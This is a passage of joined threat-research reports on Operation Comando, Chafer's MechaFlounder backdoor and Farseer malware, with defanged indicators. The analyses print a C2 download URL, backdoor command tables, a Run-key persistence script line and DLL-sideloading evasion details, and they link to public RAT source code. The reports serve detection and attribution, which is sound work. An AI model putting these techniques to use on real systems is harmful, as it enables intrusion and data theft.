After analyzing several CapturaTela samples, and extracting the contents of the email configuration portion, several interesting strings were found as displayed in Table 4.

Interesting strings
Comando30
Comando30@cdt
comando50

Table 4 Interesting strings in email configurations

The continuous use of the “CDT” acronym, and the presence of the word “Comando”, which we could associate to the first letter, led to us to choose “Operation Comando” to describe this campaign.

Extensive use of Remote Access Trojans

Aside from the use of the custom trojan CapturaTela, the actor makes extensive use of several other remote access trojans to perform its malicious activities. The following RAT families has been observed during the actor campaign.

RAT Family
LimeRAT
RevengeRAT
NjRAT
AsyncRAT
NanoCoreRAT
RemcosRAT

Table 5 Top RAT families observed in this campaign

The extensive use of these RAT tools potentially increases the business objectives, given the amount of information the actor can obtain on top of credit card purchase results stolen from target websites via infected victims.

There are several examples of RAT families used that can be found in GitHub such as:

https://github.com/NYAN-x-CAT/AsyncRAT-C-Sharp

https://github.com/NYAN-x-CAT/Lime-RAT

Overlaps with other published research

Some of the domains and samples found on this investigation have been already researched and reported by Yoroi. Based on the details of our research, we have a strong belief that despite some minor overlaps in the techniques used, this campaign is not related to Gorgon Group.

Conclusions

Operation Comando is a pure cybercrime campaign, possibly with Brazilian origin, with a concrete and persistent focus on the hospitality sector, which proves how a threat actor can be successful in pursuing its objectives while maintaining a cheap budget. The use of DDNS services, publicly available remote access tools, and having a minimum knowledge on software development (in this case VB.NET) has been enough for running a campaign lasting month, and potentially gathering credit card information and other possible data.

While cybercrime campaigns like this remain active, Palo Alto Networks customers are protected from these threats in the following ways:

  • WildFire detects all malicious documents and payloads delivered as malware.
  • AutoFocus customers can track this campaign using the following tag: OperationComando
  • Traps blocks all of the files associated with this campaign.

Palo Alto Networks has shared our findings, including file samples and indicators of compromise, in this report with our fellow Cyber Threat Alliance members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. For more information on the Cyber Threat Alliance, visit cyberthreatalliance.org.

Indicators of Compromise

 Infrastructure

fejalconstrucoes[.]com[.]br

internetexplorer200[.]blogspot[.]com

office365update[.]duckdns[.]org

olhomagicocdt[.]duckdns[.]org

498408[.]ddns[.]net

Systenfailued[.]ddns[.]com[.]br

internetexploter[.]duckdns[.]org

ssl9294[.]websiteseguro[.]com

fejalconstrucoes[.]com[.]br

c-d-t[.]weebly[.]com

Malicious documents

55732ba1b1e94add5e75e90d5eba137bfbfbd35e537b8d5c9a01365f5a6407d7

7f13f449c80cc003d369c6b6002fd4912788e014ce35e97b29ba168136c6ece6

47c471da52aa808250357c4638078c9e13797bb6a8a8b169d4b33d95ff230e89

0c85b2ebc7c5316b7878239daf6a611fc2d0a05966f541e83e19db96f41fd3aa

62f82e636924980b622204368f586723feb82594ce256e2e65ac5307fd67d669

1c637cf4276b589f1b2806a77310b90c214cd0b026e4ec69448887be331ba5b3

d96eaf8f22ec5cb9edba6369f9980efc8b0f76bf35eaf92aa5cb5e03669ddd9f

1df7ace77a7f146b1bbd5c881134083f886ea83017f4619a9e62a9743909cdd1

03483d2e701f8f90c9cc46b37f12f1cef995e4cca4b5c4b9e67947f560275677

ac70d15106cc368c571c3969c456778b494d62c5319dc366b7e2c116834c6187

796c02729c9cd5d37976ddae205226e6339b64859e9980d56cbfc5f461d00910

d67e160ccc6ac2fb8cd330e9fd53389fb1f99fad680d27045e5291e9d23d9317

7f41ae21f3ad37505e5b3d0551caeb85bc9e07571d7d98acd3489b5db8ba6741

3f3718b7e50eee8b0b3e4a4da8c5a0302623b5800eb7bc0718036f77a6ec72c0

a44e08b7ebd6bf73a9eb1b5a483987a1f0e3fdfe12b05a7a8f4ec1febfcf959e

4211e091dfb33523d675d273bdc109ddecf4ee1c1f5f29e8c82b9d0344dbb6a1

fd8781f125ac1ee68afb8dba61e17373ebe57bfd18850a01d41caaddde4cffcb

269eb444415489a7898af36f1ba105129655226c98753d87afec651219e158c7

ee9d3c90df5c01dc6e2079d1219be752542a452988c4a25f34b8ee22be799332

41b57429b00383f2b5d60fb22283b5c14a94ab8619c527e7d749e64b56d31518

ce44559beb4a5d52d962ab9e375970ef1d8e9f22a0be8c971b0244ebca61b2f2

ccd23e44662953d0837ca12728854bfd61f5ea14293a1620c3b48ba8f435a432

57f31ef70a8b8b39659659abd0f1c8974fe23d2cbd2194d097375b2667a5424b

f534f9b1cc64f03c32d59acdf9d58653bb0076798805af12e6cd914cbbfcf5fa

846a89bbcf6c907fd915699a232c1f9acae0756fdc12c590198bfe65b4c90f44

4f2ce6883b7057bde6baed2607e4645e4745db9ebfb20872e425944ba8ec3425

722a2d8d4c1fb1e5195df50b159cdce0b05333acbb3ec90d24310331d21d2514

e54bfccc796a4f779d332e535f78a5b118dbcd8a8971e39ac059ee9f069a1203

4f4ea063d5bd22f1c57cdcf89d40339ddd5d5741c1b1dabfe52a474d70be9d04

 CapturaTela

 c7f3673ca116f76b16a7e00d81553abb0df02e75d4ac8fb6d3af52d351d9b46a

904a4799edf642e6e685a137c88691f08b51643e539bea8de9e4cdf8c6251c7f

a03bc280123541518845cc167b4e812bbe9682696af4eeac041385cc0a00f5c6

RATs

2b343e0b0aa8de557fa11c9918f1b93ab6e88d9bd11565c587852d4d17bcf5a8

57d83d5928bb8926718e732a85dd69dffe6ff61ff7edd9b843a50959f2fd1256

33195ec463ba9d627a0c177eca366bbefa34306170449a5c0ef7661319ba2b05

7eaea64fdfdc4f35ffe3036ee03f54c4aace204533a9d157faafa4a23221980c

e76772ae83e2c79ed4aa80b5b7f4b42c46cea45ed1d15bd004b0dc71bfc41945

977d940de630fff225e4917927d47100b75b56444c4117a22aa34b1450dc2930

8a700793012385a706ef277f043bb5bf8a5ef877e3ba1fac3b5601df7fb36a30

c740fe0dbf5aebf5f34e392a9bff0d4a19bf20ff553bb734574c2593ddcbbfa1

10a7ba12bebaa572eb6eb4bef6d1a5043c5403bf796626a478205b344c4dc8c2

4aff04954efd6cb02b1ba18831a72d44b2346db94e944a9f96c652f5944834d0

d735d39de62009d09d7125f71cd774b23b6ab4a51d1dbb3d49003a5657b3477f

9ad38281585897b1d49632ad049c700814f72e20edc46bbc43ba510413ac6f92

877453c0e614e732eb9ee378693cf92263d2373e09c8287e3a4a821ecee29764

b82c7535e41cddade675587ddaac9cb63fdf1973968f10f3a2bc1ea5409a29c2

ec824085dac0d7e0d2e3953d241756a78635a32ad442b7909f0895fd62b08010

5c073adb376b57c99faa9cf10114beda732b13d04b7ed45a32c23eb043ec608f

8d1db84b71eb1f38f95c13c89a6adfbc64d7ca5c5a5165ae7919e0d1e6fadc45

b278ccf189d51b085390a985526ff37455ebe249ca9da69f64e2376979c56e6b

e99df30a89dee25f56c2f35b20de2206406934f2e6ab043e299482649dce2cb8

8e738b2239bbca9f50eab5f3cf3cbe58138e3b2515221c67e7eb934e2d3c7486

b904e2823144ca9ab3161c3e508a88dc35922340e4ff2858e06b40e638bfd359

99b70d49377117000eaf367c037ed68c4898b0d8769f7bff88a438a9d82db214

982e2abc769f579a8753e8b2f65e0b0bbfbbdbae14b88f0ed697b635a9f4e38f

03cb44736cdd60318af8399047507b011b95fadd4784b1607b28ad4940a9a36e

e9f42c7fbedf0054391c3a85b79a34b5be134b40a83961cc90d0e473380fde1c

6c45909d6311f8d356ddc704b27bd975cb3336a7b6e172206165bff613f94a2a

9025c9b8cfc57e7dda5e742f18d69b4c4477f9254d10c5df15b7a6ffcf7d5985

ae3cddb0f665d739ebf5342a968585a5d13d54068ef59a51e82e739d184c6b3b

d5baf4a27994ef2110bcc3a0b3ff2cd3815bac36d271462d1a39f77063bae9a5

b0593829ea59d267f511f2685aa8ecf31860e123e0928ca8bf3fc1e30b3c4953

1c30a54a8ad30faff0a7b309d377127ed739ea80c510d7526bbb5cbe6ef5cfc9

498fd1c4cb16f39974555d6e596fcea6c7da73f9f0f30f57fdc8177fc3feaa4e

1c604e040c04be9fad3129d7bd9c69b7f8057050b2002605dde1f5e60817f89a

5dfd79503b19b67052ec060d74e1f2a9a5ee34de74d578c5b4499468bad8f1cb

bc4c98116fadbcef2abfd0fe62a15b154a3b8a8eb329a877d64edc59260519c4

9c794069b4d6346f8152b938e4f846af63d1f1015c935579d99af1c434789406

7923c59d1405deacaceb26722db97714cf955610e02bf6d28051505331603606

a03bc280123541518845cc167b4e812bbe9682696af4eeac041385cc0a00f5c6

c7f3673ca116f76b16a7e00d81553abb0df02e75d4ac8fb6d3af52d351d9b46a

824d080a4da2275951a28285b66faac1698205dff181fe5fa1cf172ac1a17d8f

0b04028774f0e166dcbe0f993b72c430dc15364e9cc52c221bdadcc9833816f2

22e9260c6a4af1d42c353c7004cb2f5f245cea5e22572b111fcef4318c17e567

904a4799edf642e6e685a137c88691f08b51643e539bea8de9e4cdf8c6251c7f

7a9e3038d498d5ecaed19f6a80d9b0b7d73d47e669be8d61ca32d87566d7a035

16ea765b2c51eadc61c6501b4ba96073a7d50f8cd7898285ffad49ba14a121dd

18199bb3ad69901ef0040aa7445d6f0c8571a19cdade3115ffc9c142c0b5b721

b940dc214f6a0be58e93f07aafcbc5a7518544f745413360269949664909fecd

2d26bc42a499c4658523193ade85df13ab397d375fa593a757c54a6f1c71f221

94a38857ebeed7d10480fb91a391a891d5a11137fabb8fc67b71c989b5e328e6

116da8803ac9b2dd7e1149567f227d552e84db86dd7a33ad69e15b560f0fa177

2945e6424f51e6077620a867e0f9c725b9b816164366912289ab6c24fdfcb9e6

88d1a891cfdf09b7e1882582a82c3218d5606ed530764d34ee1410198ca9ee8b

96424d66b7423dc54b35e4968a809a8b67d1dd8e7d8d3b0d84434edb94c822c5

3158906cf7cb3186654bbb62d087b9a150c12c51d2ad67dd9003abeb0f69626a

4e62dcea72cf73481dd8dae2bbeb8e1352a5f2510f3deb98ec0b653a4d21f8d8

5370711dd45b84b9644b635d03baad08d75ff740364e93ed023adc9c4a297c43

02254a03f08055399806b6457ee5e4fe6cfc47c6f75254434a14332d4c43afe5

bf07b4ba117eb7d0ac59cbdd775e6a509c06a462b709b4f2d10979c9e5b3cf85

 

New Python-Based Payload MechaFlounder Used by Chafer

In November 2018 the Chafer threat group targeted a Turkish government entity reusing infrastructure that they used in campaigns reported earlier in 2018 by Clearsky, specifically, the domain win10-update[.]com. While we lack visibility into the initial delivery mechanism of this attack, we did observe a secondary payload hosted on 185.177.59[.]70, the IP address to which this domain resolved at the time of the activity.

Unit 42 has observed Chafer activity since 2016, however, Chafer has been active since at least 2015. This new secondary payload is Python-based and compiled into executable form using the PyInstaller utility. This is the first instance where Unit 42 has identified a Python-based payload used by these operators. We’ve also identified code overlap with OilRig’s Clayside VBScript but at this time track Chafer and OilRig as separate threat groups. We have named this payload MechaFlounder for tracking purposes and discuss details below.

Turkish Government Targeting

Our visibility into this Chafer activity involves the identification of a malicious executable  downloaded from the IP address 185.177.59[.]70. How the attackers are targeting victims and causing them to download this file are currently not known.

The file named ‘lsass.exe’ was downloaded from win10-update[.]com via an HTTP request. The win10-update[.]com domain has been noted in open source as an indicator associated with Chafer threat operations. The lsass.exe file downloaded from this domain is a previously unreported python-based payload that we are currently tracking as MechaFlounder. We believe Chafer uses MechaFlounder as a secondary payload that the group downloads from a first-stage payload to carry out its post-exploitation activities on the compromised host. Based on our telemetry, the first-stage payload was not observed in this activity.

In February 2018, IP address 134.119.217[.]87 resolved to win10-update[.]com and several other domains likely associated with Chafer activity. Of interest, the domain turkiyeburslari[.]tk, which mirrors the legitimate Turkish Scholarship government domain turkiyeburslari[.]gov[.]tr, also resolved to this IP and may likely have been used in other Chafer collection operations. The domains associated with this IP address are included within the Appendix and displayed in Figure 1 below.

Figure 1. Infrastructure associated with 134.119.217[.]87

The MechaFlounder Payload

The python-based payload, ‘lsass.exe’ was retrieved from a command and control (C2) server via an HTTP request to the following URL:

win10-update[.]com/update.php?req=<redacted>&m=d

This payload, (SHA256: 0282b7705f13f9d9811b722f8d7ef8fef907bee2ef00bf8ec89df5e7d96d81ff), which we are tracking as MechaFlounder, was developed in Python and bundled as a portable executable using the PyInstaller tool. This secondary payload acts as a backdoor allowing the operator to upload and download files, as well as run additional commands and applications on the compromised system.

MechaFlounder begins by entering a loop that will continuously attempt to communicate with its C2 server. The Trojan will use HTTP to send an outbound beacon to its C2 server that contains the user's account name and hostname in the URL. The code, seen in Figure 2, builds the URL by concatenating the username and hostname with two dashes "--" between the two strings. The code then creates the URL string by using the username and hostname string twice with the back-slash "\" character between the two and by appending the string "-sample.html".

Figure 2. Trojan code used to build anomalous HTTP request

During this analysis, the code in Figure 2 generated anomalous HTTP requests for its beacons, as shown in Figure 3 below. One might notice that the GET request in Figure 3 does not start with a forward-slash "/" character and includes a back-slash character "\" in the URL. This causes a legitimate web server, such as nginx used in our test environment, to respond with a '400 Bad Request' error message. This may suggest that even though the code in Figure 2 uses the HTTPConnection class from the httplib module to generate the anomalous HTTP beacon, it is likely that the threat actors created a custom server to handle this C2 channel instead of relying on a standard web server.

Additionally, Figure 2 shows that the malware author used the variable name 'cmd' to build the string used for the HTTP method and path and checks the HTTP method portion of the string for the word 'exit'. We are unsure of the purpose of this check, as the HTTP method in this string would never be 'exit' and therefore would never be true. We believe this is an artifact likely derived from a previous version of the script that the author forgot to remove.

Figure 3. Example HTTP request issued by Trojan in test environment

If the C2 server were to accept the beacon in Figure 3, it would respond with HTML that contains a command intended for the Trojan to parse and execute. The Trojan begins by converting the HTML in the response to text using the code seen in Figure 4 below. The HTML to text code in Figure 4 is available in several locations on the Internet, but it appears to have possibly originated from a discussion at Stack Overflow titled Extracting text from HTML file using Python, which may be where the malware author obtained this code.

Figure 4. HTML to text code in Trojan possibly obtained from Stack Overflow discussion

After converting the HTML to text, the Trojan discards the first 10 characters of the response and treats the remainder of the string as a command. The C2 can also provide the string "yes " in this command string, which instructs the Trojan to decode the command as a base16 encoded string with the "yes " substring removed. The Trojan subjects the command supplied by the C2 to a handler that determines the activities the Trojan will perform. Table 1 shows a list of commands available within the Trojan's command handler and the corresponding activities. The commands in the command handler provides the necessary functionality for Chafer to interact with the remote system.

Command Description
Terminate Terminates the connection
download Downloads provided <filename> that it will obtain from http://<c2 server>/<filename> and saves it to C:\Users\Public\<filename>.
runtime Sets the sleep interval between beacons.
upload Uploads provided <filename> to http://<c2 server> via HTTP POST.
cd Changes the current working directory
empty Does nothing, likely an Idle command.
<anything else> Attempts to run the supplied data as a command on the command line.

Table 1. Commands available in Trojan’s command handler

We gained more insight into the custom C2 server application by analyzing the activities that MechaFlounder carries out if it receives the ‘upload’ command. To upload a specified file from the compromised system to the C2 server, the Trojan uses the Browser class in the mechanize module (partial basis of the MechaFlounder name) to submit the file to an HTML form on the C2 server. This suggests that in addition to being able to handle the anomalous HTTP GET requests previously mentioned, the custom C2 server application must also be able to:

  1. Serve HTML that contains a form to receive uploaded files,
  2. Handle legitimate HTTP POST requests generated by the mechanize module, and
  3. Save files uploaded with the HTTP POST request.

After carrying out the activities for the command, the Trojan will encode the results or output message of the command using the 'base64.b16encode' method. Each command has an output message for both a successful and failed execution of the command with the exception of ‘empty’ and ‘terminate’. Table 2 below shows the success and failure messages associated with each command.

Command Message type Output message structure
download Success <username>--<hostname>||download <filename>**download success\n
Fail <exception message>||<username>--<hostname>**download failed, download <filename> \n
upload Success <username>--<hostname>||upload <filename>**upload success \n
Fail (no file) <username>--<hostname >||<command issued>**no such file\n
Fail (exception) <exception message>||<username>--<hostname>**upload failed,upload <filename> \n
runtime Success <interval>||<username>--<hostname>**runtime changed to <command issued>
Fail <username>--<hostname>||<command issued>**runtime change failed because of large mount
cd Success <username>--<hostname>||<command issued>**directory changed success to <directory>
Fail <username>--<hostname>||<command issued>**Couldn"t change directory
<anything else> (command execution) Success <username>--<hostname>||<command issued>**<command stdout>
Fail <username>--<hostname>||<command issued>**<command stderr>

Table 2. Success and failure messages associated with commands

Unlike the initial beacon that uses the anomalous HTTP GET request, the Trojan will send the encoded results to the C2 server using the same socket as the initial HTTP beacon. The use of the same socket and the anomalous portions of the HTTP beacon further suggests that the threat actor likely created a custom C2 server to handle this network traffic.

To show these network communications, we patched the Trojan to issue beacons that use legitimate HTTP GET requests that the HTTP server (nginx) in our test environment could support. The patches involved changing the paths within the HTTP request, specifically setting the path to start with a forward-slash “/” and have the forward-slash “/” instead of a back-splash “\” within the URL path itself. In our test environment, we added the string “0123456789runtime 5” to the file ‘rob--rob-virtual-machine-service.html’ in the ‘rob--rob-virtual-machine’ folder.

When the Trojan issues the beacon, the HTTP server responds with contents of the ‘rob--rob-virtual-machine-service.html’ file, which effectively issues a command to the Trojan. The Trojan responds to the command ‘runtime 5’ with the message "5||rob--rob-virtual-machine**runtime changed to runtime 5" that it encodes in base16. It then sends this to the C2 server without any HTTP headers using the same socket as the initial HTTP request.

Figure 5 shows the TCP session showing the initial beacon sent from the patched Trojan, the HTTP server responding with a command, and the Trojan responding to the command all in the same TCP session.

Figure 5. Single TCP Session used by the Trojan to receive commands and send command results to the C2

And one more thing...

If you think you’ve seen the “&m=d” parameter before, you’d be correct. The “&m=d” parameter seen in the initial download URL of the MechaFlounder payload appears in many URLs related to both Chafer and OilRig threat groups. This parameter has been seen in VBScript downloader payloads installed by delivery documents associated with both Oilrig and Chafer. We have also seen this parameter used in URLs generated by Chafer’s AutoIT payload. The VBScript and AutoIT payloads also share common variable names and the same overall functionality, which suggests there may be some code sharing occurring between the two threat groups.  Figure 6 below shows a VBScript run by an OilRig delivery document (SHA256: 1b2fee00d28782076178a63e669d2306c37ba0c417708d4dc1f751765c3f94e1) on the left compared to a Chafer AutoIT script (SHA256: 332fab21cb0f2f50774fccf94fc7ae905a21b37fe66010dcef6b71c140bb7fa1) on the right, which have colored boxes surrounding code overlaps.

Unfortunately, we are unable to ascertain the specifics between the code sharing between OilRig and Chafer. At this time, we are not combining the two threat groups together based on these code overlaps.

Figure 6. Oilrig Clayside VBS | Chafer AutoIT

Conclusion

The Chafer threat group has been active since at least 2015 focused on both private and public sector entities within the Middle East. Unit 42 has specifically observed the targeting of Turkish government entities since at least 2016; however, this is the first instance where Unit 42 has observed Chafer using a Python-based payload. This payload, now known as MechaFlounder was created by Chafer using a combination of actor developed code and code snippets freely available online in development communities. The MechaFlounder Trojan contains enough functionality for the Chafer actors to carry out the necessary activities needed to accomplish their goals, specifically by supporting file upload and download, as well as command execution functionality.

The overlap in Oilrig’s Clayside VBScript and Chafer’s AutoIT payloads does not come as a complete surprise. Oilrig and Chafer have for quite some time appeared very similar operationally and potentially having access to the same code or resources for payload development makes sense. Unit 42 has taken reference to the various overlaps in the two sets of activities and continues to track these operations separately.

Palo Alto Networks customers are protected against this threat in the following ways:

Palo Alto Networks has shared our findings, including file samples and indicators of compromise, in this report with our fellow Cyber Threat Alliance members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. For more information on the Cyber Threat Alliance, visit cyberthreatalliance.org.

Appendix

MechaFlounder Sample

lsass.exe

0282b7705f13f9d9811b722f8d7ef8fef907bee2ef00bf8ec89df5e7d96d81ff

Infrastructure referenced in this report

  • win10-update[.]com
  • 185.177.59[.]70
  • 134.119.217[.]87
  • win7-update[.]com
  • turkiyeburslari[.]tk
  • xn--mgbfv9eh74d[.]com (تلگرام[.]com)
  • ytb[.]services
  • eseses[.]tk

Farseer: Previously Unknown Malware Family bolsters the Chinese armoury

Last year, Unit 42 wrote about a newly discovered espionage Android malware family, HenBox, which had countless features for spying on their victims – primarily the Uyghur population – including interaction with Xiaomi IoT devices, and the Chinese consumer electronics manufacturer’s smart phones. 

Through investigations into infrastructure used by HenBox malware, Unit 42 has discovered another malware family built for the more frequently-targeted Microsoft Windows operating system we named ‘Farseer’. As with HenBox, Farseer also has infrastructure ties to other malware, such as Poison Ivy and Zupdax.  

We named this malware Farseer malware due to a string found in the PDB path embedded within the executable files. For example:  

 e:\WorkSpace\A1\coding\Farseer\RemoteShellsRemote\Release\RemoteShellsRemote.pdb. 

Tracking-back, we’ve seen over 30 unique samples throughout the past two and half years, with the majority in 2017 and a handful in 2018, the most recent of which were seen, at least from our visibility, during the last two months indicating a relatively low-volume yet steady flow of Farseer samples. Figure 1 below shows the trend of malicious sessions for these samples according to AutoFocus. 

 

Figure 1 AutoFocus session trends for Farseer samples over time  

Ties to HenBox Android Malware et al 

As previously mentioned, there are ties between Farseer, HenBox, PlugX, Zupdax, 9002, and Poison Ivy malware families. The infrastructure used by the combination of malware families is pretty vast, with plenty of overlaps, however in this blog we focus only on some of the core ties captured in the green rectangle, as shown in Figure 2 below. 

 

Figure 2 Maltego chart showing overlaps between Farseer and related threats  

Figure 2 shows a high-level representation of file hashes, IP addresses, and domain names used by some of the various malware families already mentioned, together with their overlaps. Farseer has the largest number of samples in Figure 2 but that’s skewed given the focus of this blog. 

 The green rectangle shows some of the core overlaps between the aforementioned families, which we will discuss in more detail now. 

 The most recent (at the point of publishing) Farseer sample (SHA256: 271E29FE… detailed in Table 2 below) introduced a new C2 domain – tcpdo[.]net – into the Farseer set, as shown in Figure 3 below. 

 

Figure 3 Maltego diagram showing tcpdo[.]net and other Farseer / PoisonIvy overlaps. 

 Figure 3 shows how this new (to Farseer) domain relates both directly to said Farseer sample and indirectly, through third-level domains and IP addresses, to other Farseer samples; a handful of Poison Ivy samples have also used this domain as their C2, mostly before this Farseer sample – as early as mid-2015 – but also more recently, one month after, on December 17th, 2018 indicating it’s a domain in fairly active use. Third-level domains of tcpdo[.]net, together with all other indicators are listed at the end of this blog. 

 The overlaps between Farseer and Poison Ivy don’t end with tcpdo[.]net. Much like with HenBox, other infrastructure ties exist: directly through sony36[.]com and  md.son36[.]com; indirectly through third-level domains of tcpdo[.]net and IP addresses 45.32.251[.]7 and 45.32.53[.]250. 

 Farseer also overlaps with HenBox and PlugX samples through multiple C2 domains and IP address resolutions:  

  • outhmail[.]com (and third-levels of this domain) 
  • cdncool[.]com (and third-levels of this domain) 
  • www3.mefound[.]com 
  • w3.changeip[.]org 
  • www5.zyns[.]com  
  • 45.32.53[.]250 
  • 45.32.44[.]52 
  • 45.32.45[.]77 
  • 59.188.196[.]162 
  • 59.188.196[.]172 

Domain outhmail[.]com was documented as part of research into a 9002 Trojan delivered through Google Drive back in 2016 further expanding the capabilities of this group and its tools.

Ghost Dragon Overlaps  

Before we detail the Farseer malware itself, it’s worth noting another overlap we encountered during this research. Third-level domain 3w.tcpdo[.]net, as shown towards the bottom of Figure 4 below, resolved to IP 175.45.192[.]234 in 2015. This IP address relates to domains and custom Gh0st RAT malware samples, some of which are documented in this Ghost Dragon campaign report. Considering the time that’s passed since this publication, it’s harder to investigate how strong the ties are, however, the two domains used by Poison Ivy (md5c[.]net) and Farseer (3w.tcpdo[.]net) have resolved to that IP address more recently than documented in the Ghost Dragon report. Specifically, June 2015, and between July and August 2015, respectively for Poison Ivy and Farseer; these two domains and five others - adminloader[.]com, csip6[.]biz, cdncool[.]com, linkdatax[.]com and adminsysteminfo[.]com - have a common registrant, 46313@QQ[.]COM  but no such commonality exists within the set of known Ghost Dragon domains.  

It’s possible the infrastructure relates to the same group, or multiple groups, conducting various attacks against different operating systems using the various malware families described in this, and related, reports. The possible ties require further investigation. 

 

Figure 4 Maltego chart showing overlaps to Ghost Dragon campaign  

C2 Server Structure 

 As previously mentioned in the first HenBox blog, a common registrant registered seven known domains, four of which had malicious activity related to Poison Ivy and Zupdax malware families. Interestingly, all of the domains share at least one third-level domain in common, perhaps indicating a template being used for the infrastructure setup or based on the requirements of the malware’s C2 communication. Table 1 below lists the commonalities, aside from other domains such as www, mail and dns.  

Domain / Third-level Domain  info.  re.  update.  up. 
tcpdo[.]net 
  •  
 
  •  
  •  
adminsysteminfo[.]com 
  •  
  •  
  •  
 
md5c[.]net         
linkdatax[.]com 
  •  
  •  
  •  
 
csip6[.]biz 
  •  
  •  
  •  
 
adminloader[.]com   
  •  
  •  
 
cdncool[.]com 
  •  
  •  
  •  
  •  
newfacebk[.]com     
  •  
 

Table 1 Common third-level domain names 

Farseer Malware 

Now that we have introduced Farseer, and how it relates to other known malware families, let’s dive into how the malware works. This section aims to provide a description of the general behavior for this malware based on a small subset of total set of samples; a more detailed description exists in the technical appendix.

Figure 5, below, describes at a high-level the post-installation execution flow of a typical Farseer sample.

Figure 5 Farseer Execution Flow

Farseer employs the known technique of DLL sideloading - the use of trusted binaries to load malicious code – to load its payload, see Figure 5. To achieve this, the malware begins by dropping known, legitimate, signed binaries to the host. These binaries, signed by Microsoft or other vendors, are typically trusted applications when checked by antivirus software or the operating system and thus do not raise any suspicious alerts. Figure 6 below shows the import library list for both the benign PE files highlighting how the nested imports work to ultimately load sys.dll – the malicious payload. 

 Figure 6 bscmake.exe importing mspdb80.dll importing Farseer's sys.dll  

The payload on disk is an encrypted and compressed file that most antivirus software will not flag as malicious since the underlying code is hidden. More information about how the decompression and decryption can be found in the appendix.  

Once sys.dll is running, it locates a file named stub.bin located in the same folder, and in-turn loads the Farseer config file, sys.dat, on disk. The config relates to C2 communications, amongst other things.   

The following two code excerpts show the obfuscated and deobfuscated versions of this variant’s configuration file. The obfuscation routine used in this case – and many others – is simply ASCII encoding where characters are replaced with their ASCII value; other variants have used stronger, custom encryption algorithms to hide configuration data. Details are in the appendix.

The line items in the second code excerpt above are represented as follows:  

  • p1 relates to the C2 FQDN; 
  • p2 is the TCP port used for C2 – many variants use non-standard TCP ports;  
  • p3 is missing;  
  • p4 appears to be a version string of some sort, which is sent as part of the C2 communication – other variants have used strings, such as “mark”;  
  • p5 is the full file path from where the malware was launched. 

Farseer config files share some similarities with those of HenBox, as documented here and shown in Figure 7 below for convenience.  

 Figure 7 Screenshot of HenBox configuration file, setting.txt  

Both are text files, read and parsed at run-time; more often than not, the ASCII data is obfuscated using encoding methods of varying sophistication. Perhaps the most notable similarity is the notation of the content, which in both malware families:  

  • is delimited by an ‘=’ equals character; 
  • uses a single character followed by a single digit starting from 1 to begin each line; 
  • has the C2 host/FQDN on the first line; 
  • has the TCP port to use to connect the C2 on the second line; 

For persistence on the host, the Farseer malware creates a registry entry named sys under:

HKCU\Software\Microsoft\Windows\CurrentVersion\Run  

The entry runs the VBS script slmgr.vbs shown below, which executes bscmake.exe, and thus Farseer, each time a user logs on to their PC. 

 createobject("wscript.shell").run "C:\Users\[username]\AppData\Roaming\windows\bscmake.exe"  

One of the earliest Farseer samples Unit 42 analysed also used a decoy PDF document during execution. The PDF content included a copied news article from a Myanmar website that reports on news in the Southeast Asia region. The file properties of said PDF, as shown below, describe the language setting of the application that created it, together with the creation date – eight days prior to the Farseer sample that used the document. 

 Language     : zh-CN 

Author       : Administrator 

Creator      : Microsoft® Word 2013 

Create Date  : 2016:04:11 11:06:30+08:00 

Modify Date  : 2016:04:11 11:06:30+08:00 

More information about this variant of Farseer, and the decoy PDF, can be found in the appendix section. 

 Targeting 

In this case, we do not have great visibility into the targets of the Farseer malware. However, given our existing knowledge based on previous research, and around malware with closely-related infrastructure, together with certain targeting themes seen in some Farseer samples, it is highly likely that victims lay in and around the South East Asia region. 

ATT&CK Techniques Observed 

ID  Technique 
T1140  Deobfuscate / Decode Files or Information 
T1071  Standard Application Layer Protocol 
T1060  Registry Run Keys / Startup Folder 
T1045  Software Packing 
T1073  DLL Side-Loading 
T1065  Uncommonly Used Port 
T1043  Commonly Used Port 
T1328  Buy domain name 
T1319  Obfuscate or encrypt code 

 Conclusion 

The threat actors behind Farseer, and related malware including HenBox, continue to grow their armoury with the addition of this previously-unknown malware family. The overlapping infrastructure, shared TTPs and similarities in malicious code and configurations highlights the web of threats used to target victims in and around the South East Asia region and perhaps beyond.  

Farseer payloads are backdoors that beacon to pre-configured C2 servers for instructions. The malware uses various techniques to evade detection and inhibit analysis. For example, DLL sideloading using trusted, signed executables allows the malware to execute rather seamlessly; some payloads are encrypted on disk preventing analysis, especially as decompression and decryption occurs at runtime, in-memory, where code is further altered to thwart forensic analysis.  

Whereas HenBox posed a threat for devices running Android, Farseer is built to target Windows, which appears to be more typical given previous threats seen from the group or groups behind this, and related malware.  

Palo Alto Networks customers are already protected via:  

  • All samples in this report have a malicious verdict in WildFire. 
  • Traps advanced endpoint protection detects Farseer malware. 
  • Domains have been classified as malicious. 
  • AutoFocus tags are available for additional context: Farseer. 

 

Update 18th September 2019: This blog has changed to remove two references to PKPLUG as a malware family.

 Appendix 

The technical analysis of Farseer malware is described in this section. Table 2 below lists the samples we have chosen for our investigation. The list includes a couple of recent samples and the first Farseer sample seen, according to our data, to highlight key differences in the threat’s evolution.  

#  SHA256  First Seen (Pacific Time)  Key Indicator / Domain 
1  271E29FE8E23901184377AB5D0D12B40 

D485F8C404AEF0BDCC4A4148CCBB1A1A 

11/17/2018 10:11:16 pm  tcpdo[.]net:158 
2  4AB41A025624F342DEB85D798C6D6264 

A9FB88B8B3D9037CF8D5248A9F730339 

04/02/2018 

7:18:07 pm 

honor2020[.]ga:993 
3  9E08EFC73DC9145358898D2735C5F31D 

45A2571663C7F4963ABD217AE979C7CA 

04/19/2016 

6:26:15 pm 

outhmail[.]com:80 

Table 2 Samples discussed in this blog  

Farseer employs the known technique of DLL sideloading - the use of trusted binaries to load malicious code – to load its payload, see Figure 5. To achieve this, the malware begins by dropping known, legitimate, signed binaries to the host. These binaries, signed by Microsoft or other vendors, are typically trusted applications when checked by antivirus software or the operating system and thus do not raise any suspicious alerts.  This technique takes advantage of the Windows search order for loading dependencies when a program launches. By default, the Windows loader will first look for any dependency files of the executable in its current working directory. If found, the executable will then load them into memory. With this in mind, the actors place their malicious DLL’s in the same directory as the signed executable that was dropped on disk. By naming them as dependency files of that executable, the malicious code will run whenever the executable is started.  

